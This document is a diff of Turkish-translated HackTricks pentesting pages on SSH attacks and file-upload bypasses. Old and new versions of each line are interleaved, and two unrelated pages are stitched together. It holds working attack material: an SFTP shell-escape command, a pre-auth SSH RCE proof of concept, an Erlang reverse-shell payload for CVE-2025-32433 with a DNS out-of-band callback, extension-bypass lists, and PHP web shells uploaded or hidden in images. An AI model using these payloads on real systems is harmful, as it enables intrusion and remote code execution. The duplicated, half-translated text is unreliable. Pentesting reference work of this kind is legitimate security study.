Keşfedilen SSH private key'leri kullanarak bir ağda dolaşmak, her sistemdeki private key'i yeni hostlar için kullanmak istiyorsanız, [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) ihtiyacınız olan araçtır.
|
||||
|
||||
SSH-Snake aşağıdaki görevleri otomatik ve yinelemeli olarak gerçekleştirir:
|
||||
SSH-Snake otomatik ve özyinelemeli olarak aşağıdaki görevleri gerçekleştirir:
|
||||
|
||||
1. Mevcut sistemde herhangi bir SSH özel anahtarını bulun,
|
||||
2. Mevcut sistemde özel anahtarların kabul edilebileceği herhangi bir ana bilgisayar veya hedef (kullanıcı@ana bilgisayar) bulun,
|
||||
3. Keşfedilen tüm özel anahtarları kullanarak tüm hedeflere SSH bağlantısı kurmayı deneyin,
|
||||
4. Bir hedefe başarıyla bağlanılırsa, bağlı olunan sistemde adım #1 - #4'ü tekrar edin.
|
||||
1. Mevcut sistemde herhangi bir SSH private key bulun,
|
||||
2. Mevcut sistemde private key'lerin kabul edilebileceği host veya hedefleri (user@host) bulun,
|
||||
3. Keşfedilen tüm private key'leri kullanarak tüm hedeflere SSH ile bağlanmayı deneyin,
|
||||
4. Bir hedefe başarıyla bağlanılırsa, bağlanılan sistemde #1 - #4 adımlarını yineleyin.
|
||||
|
||||
Tamamen kendini çoğaltan ve kendini yayabilen - ve tamamen dosyasızdır.
|
||||
Tamamen kendini kopyalayan ve kendi kendine yayılan bir yapıya sahiptir — ve tamamen fileless'dir.
|
||||
|
||||
## Yapılandırma Hataları
|
||||
|
||||
### Root girişi
|
||||
### Root login
|
||||
|
||||
SSH sunucularının varsayılan olarak root kullanıcı girişine izin vermesi yaygındır, bu da önemli bir güvenlik riski oluşturur. **Root girişini devre dışı bırakmak**, sunucuyu güvence altına almanın kritik bir adımıdır. Bu değişikliği yaparak, yetkisiz erişim ve brute force saldırılarını azaltabilirsiniz.
|
||||
SSH sunucularının varsayılan olarak root kullanıcısının girişine izin vermesi yaygındır ve bu ciddi bir güvenlik riski oluşturur. Sunucuyu güvenli hale getirmek için **root login'i devre dışı bırakmak** kritik bir adımdır. Yönetici ayrıcalıklarıyla yetkisiz erişim ve brute force attacks gibi saldırılar bu değişiklikle azaltılabilir.
|
||||
|
||||
**OpenSSH'de Root Girişini Devre Dışı Bırakmak için:**
|
||||
**OpenSSH'de Root Login'i Devre Dışı Bırakmak için:**
|
||||
|
||||
1. **SSH yapılandırma dosyasını düzenleyin:** `sudoedit /etc/ssh/sshd_config`
|
||||
2. **Ayarı değiştirin:** `#PermitRootLogin yes` ifadesini **`PermitRootLogin no`** olarak değiştirin.
|
||||
3. **Yapılandırmayı yeniden yükleyin:** `sudo systemctl daemon-reload`
|
||||
4. **Değişiklikleri uygulamak için SSH sunucusunu yeniden başlatın:** `sudo systemctl restart sshd`
|
||||
1. `sudoedit /etc/ssh/sshd_config` ile **SSH konfigürasyon dosyasını düzenleyin**
|
||||
2. Ayarı `#PermitRootLogin yes`'den **`PermitRootLogin no`** olarak **değiştirin**.
|
||||
3. Yapılandırmayı yeniden yüklemek için: `sudo systemctl daemon-reload`
|
||||
4. Değişiklikleri uygulamak için SSH sunucusunu yeniden başlatın: `sudo systemctl restart sshd`
|
||||
|
||||
### SFTP Brute Force
|
||||
|
||||
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
|
||||
|
||||
### SFTP komut yürütme
|
||||
### SFTP command execution
|
||||
|
||||
SFTP kurulumlarında, yöneticilerin kullanıcıların dosya alışverişi yapmasını sağlamak için uzaktan shell erişimini etkinleştirmemesiyle ilgili yaygın bir gözden kaçırma meydana gelir. Kullanıcıları etkileşimli olmayan shell'lerle (örneğin, `/usr/bin/nologin`) ayarlayıp belirli bir dizine kapatsalar da, bir güvenlik açığı kalır. **Kullanıcılar, giriş yaptıktan hemen sonra bir komutun (örneğin `/bin/bash`) yürütülmesini talep ederek bu kısıtlamaları aşabilirler**, bu da yetkisiz komut yürütmeye olanak tanır ve amaçlanan güvenlik önlemlerini zayıflatır.
|
||||
SFTP yapılandırmalarında yaygın bir hata vardır: yöneticiler kullanıcıların sadece dosya alışverişi yapmasını isteyip uzak shell erişimini devre dışı bırakmak isterler. Kullanıcılara non-interactive shell (ör. `/usr/bin/nologin`) atanıp belirli bir dizine hapsedilmelerine rağmen bir güvenlik açığı kalır. **Kullanıcılar, atanan non-interactive shell devreye girmeden hemen sonra** (ör. `/bin/bash` gibi) bir komut çalıştırmayı talep ederek bu kısıtlamaları aşabilirler. Bu, yetkisiz komut çalıştırmaya yol açar ve amaçlanan güvenlik önlemlerini boşa çıkarır.
|
||||
|
||||
[Buradan örnek](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
[Example from here](https://community.turgensec.com/ssh-hacking-guide/)
|
||||
```bash
|
||||
ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
@ -222,7 +242,7 @@ debug1: Exit status 0
|
||||
|
||||
$ ssh noraj@192.168.1.94 /bin/bash
|
||||
```
|
||||
İşte kullanıcı `noraj` için güvenli bir SFTP yapılandırması (`/etc/ssh/sshd_config` – openSSH):
|
||||
İşte kullanıcı `noraj` için güvenli SFTP yapılandırmasına bir örnek (`/etc/ssh/sshd_config` – openSSH):
|
||||
```
|
||||
Match User noraj
|
||||
ChrootDirectory %h
|
||||
@ -232,42 +252,43 @@ PermitTunnel no
|
||||
X11Forwarding no
|
||||
PermitTTY no
|
||||
```
|
||||
Bu yapılandırma yalnızca SFTP'ye izin verecek: başlangıç komutunu zorlayarak shell erişimini devre dışı bırakacak ve TTY erişimini devre dışı bırakacak, ayrıca her türlü port yönlendirmeyi veya tünellemeyi de devre dışı bırakacaktır.
|
||||
Bu yapılandırma sadece SFTP'ye izin verecek: start komutunu zorlayarak shell erişimini devre dışı bırakır ve TTY erişimini kapatır; ayrıca her türlü port forwarding veya tunneling'i de devre dışı bırakır.
|
||||
|
||||
### SFTP Tünelleme
|
||||
### SFTP Tunneling
|
||||
|
||||
Eğer bir SFTP sunucusuna erişiminiz varsa, trafiğinizi bunun üzerinden tünelleme yapabilirsiniz, örneğin yaygın port yönlendirmesini kullanarak:
|
||||
Eğer bir SFTP server'a erişiminiz varsa, trafiğinizi buradan da tunnel edebilirsiniz; örneğin yaygın port forwarding kullanarak:
|
||||
```bash
|
||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||
```
|
||||
### SFTP Symlink
|
||||
|
||||
The **sftp** have the command "**symlink**". Therefor, if you have **yazma hakları** in some folder, you can create **symlinks** of **diğer klasörler/dosyalar**. As you are probably **tuzağa düşmüş** inside a chroot this **özel olarak faydalı olmayacak** for you, but, if you can **erişim sağlamak** the created **symlink** from a **no-chroot** **hizmet** (for example, if you can access the symlink from the web), you could **web üzerinden symlinkli dosyaları açabilirsiniz**.
|
||||
**sftp**'nin "**symlink**" adında bir komutu vardır. Dolayısıyla, bir klasörde **writable rights**'a sahipseniz, **other folders/files** için **symlinks** oluşturabilirsiniz. Muhtemelen bir chroot içinde **trapped** olduğunuz için bu sizin için **won't be specially useful** olacaktır, fakat eğer oluşturduğunuz **symlink**e bir **no-chroot** **service** üzerinden **access** edebilirseniz (örneğin, symlink'e web üzerinden erişebiliyorsanız), **open the symlinked files through the web**.
|
||||
|
||||
For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
|
||||
Örneğin, yeni bir dosya **"**_**froot**_**"**'den **"**_**/**_**"**'e bir **symlink** oluşturmak için:
|
||||
```bash
|
||||
sftp> symlink / froot
|
||||
```
|
||||
Eğer "_froot_" dosyasına web üzerinden erişiminiz varsa, sistemin kök ("/") klasörünü listeleyebilirsiniz.
|
||||
Eğer web üzerinden "_froot_" dosyasına erişebilirseniz, sistemin root ("/") dizinini listeleyebilirsiniz.
|
||||
|
||||
### Kimlik Doğrulama Yöntemleri
|
||||
### Kimlik doğrulama yöntemleri
|
||||
|
||||
Yüksek güvenlikli ortamlarda, basit faktör şifre tabanlı kimlik doğrulama yerine yalnızca anahtar tabanlı veya iki faktörlü kimlik doğrulamanın etkinleştirilmesi yaygın bir uygulamadır. Ancak genellikle daha güçlü kimlik doğrulama yöntemleri, daha zayıf olanların devre dışı bırakılmadan etkinleştirilir. Sık karşılaşılan bir durum, openSSH yapılandırmasında `publickey`'nin etkinleştirilmesi ve varsayılan yöntem olarak ayarlanması, ancak `password`'un devre dışı bırakılmamasıdır. Bu nedenle, SSH istemcisinin ayrıntılı modunu kullanarak bir saldırgan, daha zayıf bir yöntemin etkin olduğunu görebilir:
|
||||
Yüksek güvenlikli ortamlarda genellikle basit password-based authentication yerine yalnızca key-based veya two factor authentication etkinleştirmek yaygın bir uygulamadır. Ancak çoğu zaman daha güçlü kimlik doğrulama yöntemleri etkinleştirilirken daha zayıf olanlar devre dışı bırakılmaz. Sık karşılaşılan bir durum, openSSH yapılandırmasında `publickey`'i etkinleştirip varsayılan yöntem olarak ayarlamak fakat `password`'u devre dışı bırakmamaktır. Bu nedenle SSH istemcisinin verbose modunu kullanarak bir saldırgan daha zayıf bir yöntemin etkin olduğunu görebilir:
|
||||
```bash
|
||||
ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
...
|
||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||
```
|
||||
Örneğin, bir kimlik doğrulama hatası limiti ayarlandıysa ve şifre yöntemine ulaşma şansınız yoksa, bu yöntemi kullanmaya zorlamak için `PreferredAuthentications` seçeneğini kullanabilirsiniz.
|
||||
Örneğin, bir authentication failure limit ayarlanmışsa ve password method'a ulaşma şansınız hiç olmuyorsa, bu yöntemi zorlamak için `PreferredAuthentications` seçeneğini kullanabilirsiniz.
|
||||
```bash
|
||||
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
...
|
||||
debug1: Next authentication method: password
|
||||
```
|
||||
SSH sunucu yapılandırmasını gözden geçirmek, yalnızca beklenen yöntemlerin yetkilendirildiğinden emin olmak için gereklidir. İstemcideki ayrıntılı mod, yapılandırmanın etkinliğini görmekte yardımcı olabilir.
|
||||
SSH sunucu yapılandırmasını gözden geçirmek, yalnızca beklenen\
|
||||
yöntemlerin yetkilendirildiğini kontrol etmek için gereklidir. İstemcide verbose modunu kullanmak, yapılandırmanın etkinliğini görmeye yardımcı olabilir.
|
||||
|
||||
### Yapılandırma dosyaları
|
||||
### Konfigürasyon dosyaları
|
||||
```bash
|
||||
ssh_config
|
||||
sshd_config
|
||||
@ -281,22 +302,22 @@ id_rsa
|
||||
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||||
|
||||
## Kimlik Doğrulama Durum Makinesi Atlatma (Ön Kimlik Doğrulama RCE)
|
||||
## Authentication State-Machine Bypass (Pre-Auth RCE)
|
||||
|
||||
Birçok SSH sunucu uygulaması, bir istemcinin kimlik doğrulama tamamlanmadan önce *bağlantı protokolü* mesajları göndermesine izin veren **kimlik doğrulama sonlu durum makinesi** içinde mantık hataları içerir. Sunucu, doğru durumda olduğunu doğrulamadığı için, bu mesajlar kullanıcının tamamen kimlik doğrulaması yapılmış gibi işlenir ve bu da **kimlik doğrulaması yapılmamış kod yürütme** veya oturum oluşturma ile sonuçlanır.
|
||||
Birçok SSH sunucu implementasyonu, bir istemcinin *connection-protocol* mesajlarını kimlik doğrulama tamamlanmadan **önce** göndermesine izin veren **kimlik doğrulama sonlu durum makinesi** (authentication finite-state machine) içinde mantık hataları içerir. Sunucu doğru durumda olduğunu doğrulayamadığı için bu mesajlar kullanıcı tamamen kimlik doğrulaması yapılmış gibi işlenir; bu da **kimlik doğrulaması yapılmamış kod yürütülmesine** veya oturum oluşturulmasına yol açar.
|
||||
|
||||
Protokol seviyesinde, _mesaj kodu_ **≥ 80** (0x50) olan herhangi bir SSH mesajı *bağlantı* katmanına (RFC 4254) aittir ve **yalnızca başarılı kimlik doğrulamasından sonra kabul edilmelidir** (RFC 4252). Sunucu, *SSH_AUTHENTICATION* durumundayken bu mesajlardan birini işlerse, saldırgan hemen bir kanal oluşturabilir ve komut yürütme, port yönlendirme gibi eylemler talep edebilir.
|
||||
Protokol düzeyinde herhangi bir SSH mesajı _message code_ **≥ 80** (0x50) ise *connection* katmanına (RFC 4254) aittir ve **sadece başarılı kimlik doğrulama sonrasında kabul edilmelidir** (RFC 4252). Sunucu bu mesajlardan birini hâlâ *SSH_AUTHENTICATION* durumundayken işlerse, saldırgan hemen bir kanal oluşturabilir ve komut çalıştırma, port yönlendirme vb. işlemler talep edebilir.
|
||||
|
||||
### Genel Sömürü Adımları
|
||||
1. Hedefin SSH portuna (genellikle 22, ancak diğer hizmetler 2022, 830, 2222… üzerinde Erlang/OTP sunabilir) bir TCP bağlantısı kurun.
|
||||
### Generic Exploitation Steps
|
||||
1. Hedefin SSH portuna bir TCP bağlantısı kurun (genellikle 22, ancak diğer servisler Erlang/OTP'yi 2022, 830, 2222… gibi portlarda açıyor olabilir).
|
||||
2. Ham bir SSH paketi oluşturun:
|
||||
* 4 bayt **paket_uzunluğu** (big-endian)
|
||||
* 1 bayt **mesaj_kodu** ≥ 80 (örneğin, `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||
* Seçilen mesaj türü tarafından anlaşılacak yük
|
||||
3. Paketi **herhangi bir kimlik doğrulama adımını tamamlamadan önce** gönderin.
|
||||
4. Artık _ön kimlik doğrulama_ aşamasında açığa çıkan sunucu API'leri ile etkileşimde bulunun (komut yürütme, port yönlendirme, dosya sistemi erişimi, …).
|
||||
* 4-byte **packet_length** (big-endian)
|
||||
* 1-byte **message_code** ≥ 80 (ör. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||
* Seçilen mesaj türü tarafından anlaşılacak payload
|
||||
3. Paket(leri) **herhangi bir kimlik doğrulama adımını tamamlamadan önce** gönderin.
|
||||
4. Artık _pre-auth_ durumda açığa çıkan sunucu API'leriyle etkileşime geçin (komut çalıştırma, port yönlendirme, dosya sistemi erişimi, …).
|
||||
|
||||
Python kanıt-of-concept taslağı:
|
||||
Python proof-of-concept taslağı:
|
||||
```python
|
||||
import socket, struct
|
||||
HOST, PORT = '10.10.10.10', 22
|
||||
@ -308,41 +329,45 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
||||
s.sendall(pkt)
|
||||
# additional CHANNEL_REQUEST packets can follow to run commands
|
||||
```
|
||||
Pratikte, hedef uygulamaya göre anahtar değişimini gerçekleştirmeniz (veya atlamanız) gerekecek, ancak **hiçbir kimlik doğrulama** yapılmaz.
|
||||
Pratikte hedef uygulamaya göre key-exchange'i gerçekleştirmeniz (veya atlamanız) gerekecek, ancak **no authentication** hiçbir zaman yapılmaz.
|
||||
|
||||
---
|
||||
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||||
* **Etkilenen sürümler:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||
* **Kök neden:** Erlang yerel SSH daemon'u, `ssh_connection:handle_msg/2` çağrılmadan önce mevcut durumu doğrulamaz. Bu nedenle, mesaj kodu 80-255 olan herhangi bir paket, oturum hala *userauth* durumundayken bağlantı işleyicisine ulaşır.
|
||||
* **Etkisi:** kimlik doğrulaması yapılmamış **uzaktan kod yürütme** (daemon genellikle gömülü/OT cihazlarda **root** olarak çalışır).
|
||||
* **Kök neden:** Erlang'in yerel SSH daemon'ı, `ssh_connection:handle_msg/2`'yi çağırmadan önce mevcut durumu doğrulamıyor. Bu yüzden mesaj kodu 80-255 olan herhangi bir paket, oturum hala *userauth* durumundayken bağlantı işleyicisine ulaşır.
|
||||
* **Etkisi:** kimlik doğrulaması yapılmamış **remote code execution** (daemon genellikle gömülü/OT cihazlarda **root** olarak çalışır).
|
||||
|
||||
Saldırgan kontrolündeki kanala bağlı bir ters shell başlatan örnek yük:
|
||||
Saldırgan tarafından kontrol edilen kanala bağlı bir reverse shell oluşturan örnek payload:
|
||||
```erlang
|
||||
% open a channel first … then:
|
||||
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||||
```
|
||||
Blind RCE / out-of-band tespiti DNS üzerinden gerçekleştirilebilir:
|
||||
Blind RCE / out-of-band detection DNS üzerinden gerçekleştirilebilir:
|
||||
```erlang
|
||||
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||||
```
|
||||
Detection & Mitigation:
|
||||
* SSH trafiğini denetleyin: **kimlik doğrulamasından önce gözlemlenen mesaj kodu ≥ 80 olan herhangi bir paketi düşürün**.
|
||||
* Erlang/OTP'yi **27.3.3 / 26.2.5.11 / 25.3.2.20** veya daha yenisine yükseltin.
|
||||
* Yönetim portlarının (22/2022/830/2222) maruziyetini kısıtlayın – özellikle OT ekipmanlarında.
|
||||
Tespit ve Hafifletme:
|
||||
* SSH trafiğini denetleyin: **kimlik doğrulama öncesinde gözlemlenen ve mesaj kodu ≥ 80 olan herhangi bir paketi düşürün**.
|
||||
* Erlang/OTP'yi **27.3.3 / 26.2.5.11 / 25.3.2.20** veya daha yeni sürüme yükseltin.
|
||||
* Yönetim portlarının (22/2022/830/2222) açığını kısıtlayın — özellikle OT ekipmanlarında.
|
||||
|
||||
---
|
||||
### Diğer Etkilenen Uygulamalar
|
||||
* **libssh** 0.6 – 0.8 (sunucu tarafı) – **CVE-2018-10933** – istemci tarafından gönderilen kimlik doğrulaması yapılmamış `SSH_MSG_USERAUTH_SUCCESS` mesajını kabul eder, bu da ters mantık hatasıdır.
|
||||
### Etkilenen Diğer Implementasyonlar
|
||||
* **libssh** 0.6 – 0.8 (server tarafı) – **CVE-2018-10933** – istemci tarafından gönderilen doğrulanmamış `SSH_MSG_USERAUTH_SUCCESS` mesajını kabul eder; pratikte ters mantık hatası.
|
||||
|
||||
Ortak ders, RFC tarafından belirlenen durum geçişlerinden herhangi bir sapmanın ölümcül olabileceğidir; SSH daemonlarını gözden geçirirken veya fuzzing yaparken *durum makinesi uygulamasına* özellikle dikkat edin.
|
||||
Ortak ders şudur: RFC tarafından zorunlu kılınan durum geçişlerinden herhangi bir sapma hayati sonuçlar doğurabilir; SSH daemon'larını incelerken veya fuzzing yaparken özellikle *durum makinesinin uygulanmasına* dikkat edin.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
## HackTricks Otomatik Komutları
|
||||
```
|
||||
Protocol_Name: SSH
|
||||
Port_Number: 22
|
||||
|
@ -7,7 +7,7 @@
|
||||
Diğer faydalı uzantılar:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **PHPv8 ile çalışırken**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -17,11 +17,11 @@ Diğer faydalı uzantılar:
|
||||
|
||||
### Dosya uzantısı kontrollerini atlatma
|
||||
|
||||
1. Geçerliyse, **önceki uzantıları** kontrol edin. Ayrıca bunları bazı **büyük harfler** kullanarak test edin: _pHp, .pHP5, .PhAr ..._
|
||||
2. _**Yürütme uzantısından önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
|
||||
1. Uygulanıyorsa, **önceki uzantıları kontrol edin.** Ayrıca bunları bazı **büyük harf** varyasyonlarıyla test edin: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Yürütme uzantısından **önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Sondan **özel karakterler** eklemeyi deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Not: daha önce bahsedilen **uzantıları** kullanmayı da deneyebilirsiniz_)
|
||||
3. Sondan **özel karakterler eklemeyi deneyin.** Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Not: ayrıca daha önce belirtilen **uzantıları** de kullanmayı deneyebilirsiniz_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Diğer faydalı uzantılar:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlatmayı deneyin; örneğin uzantıyı çiftleyerek veya uzantılar arasına çöp veri (ör. **null bytes**) ekleyerek. _Daha iyi bir payload hazırlamak için önceki uzantıları da kullanabilirsiniz._
|
||||
4. Sunucu tarafındaki uzantı ayrıştırıcısını **kandırarak** korumaları atlatmayı deneyin; örnek olarak **uzantıyı çiftlemek** veya uzantılar arasına **junk** veri (**null** byte'lar) eklemek gibi teknikleri kullanın. _Daha iyi bir payload hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -43,10 +43,10 @@ Diğer faydalı uzantılar:
|
||||
5. Önceki kontrole **başka bir uzantı katmanı** ekleyin:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Yürütme uzantısını geçerli uzantıdan önce koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasını umut edin. (Apache yanlış yapılandırmalarını istismar etmek için faydalıdır; bazı durumlarda uzantısı .php olan her şey, dosyanın .php ile bitmemesi durumunda bile kodu çalıştırır):
|
||||
6. Yürütme uzantısını geçerli uzantıdan **önce koymayı** deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yanlış yapılandırmalarını sömürmek için faydalıdır; örneğin uzantısı .php olan herhangi bir şey, .php ile bitmese bile kodu çalıştırıyor olabilir):
|
||||
- _ex: file.php.png_
|
||||
7. **Windows** üzerinde NTFS alternate data stream (ADS) kullanımı. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce iki nokta üst üste ":" karakteri eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örn. "file.asax:.jpg"). Bu dosya daha sonra kısa dosya adı kullanımı gibi diğer tekniklerle düzenlenebilir. "**::$data**” paterni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu paternden sonra bir nokta karakteri eklemek ek kısıtlamaları atlatmak için faydalı olabilir (örn. "file.asp::$data.")
|
||||
8. Dosya adı limitlerini aşmayı deneyin. Geçerli uzantı kırpılır. Kötü amaçlı PHP bırakılır. AAA<--SNIP-->AAA.php
|
||||
7. **Windows** üzerinde **NTFS alternate data stream (ADS)** kullanma. Bu durumda, yasaklı uzantıdan sonra ve izin verilen uzantıdan önce iki nokta ":" karakteri eklenecektir. Sonuç olarak sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulur (örn. "file.asax:.jpg"). Bu dosya daha sonra kısa dosya adı gibi diğer tekniklerle düzenlenebilir. "**::$data**” deseni boş olmayan dosyalar oluşturmak için de kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta karakteri eklemek, ek kısıtlamaları atlatmak için faydalı olabilir (örn. "file.asp::$data.").
|
||||
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir ve kötü amaçlı PHP kalır. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -59,13 +59,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. sonundaki nokta) – CVE-2024-21546
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. sonda nokta) – CVE-2024-21546
|
||||
|
||||
Bazı upload handler'ları kaydedilen dosya adının sonundaki nokta karakterlerini kırpar veya normalize eder. UniSharp’ın Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 öncesi sürümlerinde, uzantı doğrulamasını aşağıdaki şekilde atlayabilirsiniz:
|
||||
Bazı upload handler'ları kaydedilen dosya adındaki sondaki nokta karakterlerini keser veya normalleştirir. UniSharp’ın Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 öncesi sürümlerinde uzantı doğrulamasını şu şekilde atlatabilirsiniz:
|
||||
|
||||
- Geçerli bir image MIME ve magic header kullanın (ör. PNG’nin `\x89PNG\r\n\x1a\n`).
|
||||
- Yüklenen dosyayı bir PHP uzantısı ve ardından bir nokta ile adlandırın, örn. `shell.php.`.
|
||||
- Sunucu sonundaki noktayı siler ve `shell.php` olarak kaydeder; bu, web’den sunulan bir dizine (varsayılan public storage gibi `/storage/files/`) yerleştirilirse çalıştırılacaktır.
|
||||
- Geçerli bir image MIME tipi ve magic header kullanmak (örn. PNG’nin `\x89PNG\r\n\x1a\n`).
|
||||
- Yüklenen dosyayı PHP uzantısı sonuna bir nokta ekleyerek adlandırmak, örn. `shell.php.`.
|
||||
- Sunucu sondaki noktayı kaldırır ve `shell.php` olarak saklar; bu dosya web'de servis edilen bir dizine (varsayılan public storage gibi `/storage/files/`) yerleştirilmişse çalıştırılacaktır.
|
||||
|
||||
Minimal PoC (Burp Repeater):
|
||||
```http
|
||||
@ -80,65 +80,65 @@ Content-Type: image/png
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Sonra kaydedilen yola erişin (Laravel + LFM'de tipik):
|
||||
Sonra kaydedilen yola istek gönderin (Laravel + LFM'de tipik):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Önlemler:
|
||||
- unisharp/laravel-filemanager'i ≥ 2.9.1 sürümüne güncelleyin.
|
||||
- Sunucu tarafında katı allowlists uygulayın ve kalıcı dosya adını tekrar doğrulayın.
|
||||
- unisharp/laravel-filemanager'ı ≥ 2.9.1 sürümüne yükseltin.
|
||||
- Sunucu tarafında katı izin listeleri uygulayın ve kalıcı dosya adını yeniden doğrulayın.
|
||||
- Yüklemeleri yürütülebilir olmayan konumlardan servis edin.
|
||||
|
||||
### Content-Type, Magic Number, Compression & Resizing'ı Bypass Etme
|
||||
### Content-Type, Magic Number, Compression & Resizing'i Atlatma
|
||||
|
||||
- Content-Type kontrollerini, Content-Type header'ının değerini şu şekilde ayarlayarak bypass edin: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type wordlist: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Magic number kontrolünü, dosyanın başına gerçek bir resmin byte'larını ekleyerek bypass edin ( _file_ komutunu yanıltmak için). Veya shell'i metadata içine yerleştirin:\
|
||||
- **Content-Type** kontrollerini **Content-Type** **header**ının **value**sını şu değerlerden biriyle ayarlayarak atlatın: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- **magic number** kontrolünü, dosyanın başına gerçek bir görüntünün **bytes**larını ekleyerek ( _file_ komutunu yanıltmak için) atlatın. Veya shell'i **metadata** içine yerleştirin:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` veya payload'u doğrudan bir görüntüye de ekleyebilirsiniz:\
|
||||
`\` veya payload'ı doğrudan bir görüntüye de yerleştirebilirsiniz:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Eğer resme sıkıştırma uygulanıyorsa (ör. bazı standart PHP kütüphaneleri kullanılarak, PHP-GD gibi), önceki teknikler işe yaramayabilir. Ancak sıkıştırmadan **sağ çıkacak** bazı metinleri eklemek için PLTE chunk [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) yöntemini kullanabilirsiniz.
|
||||
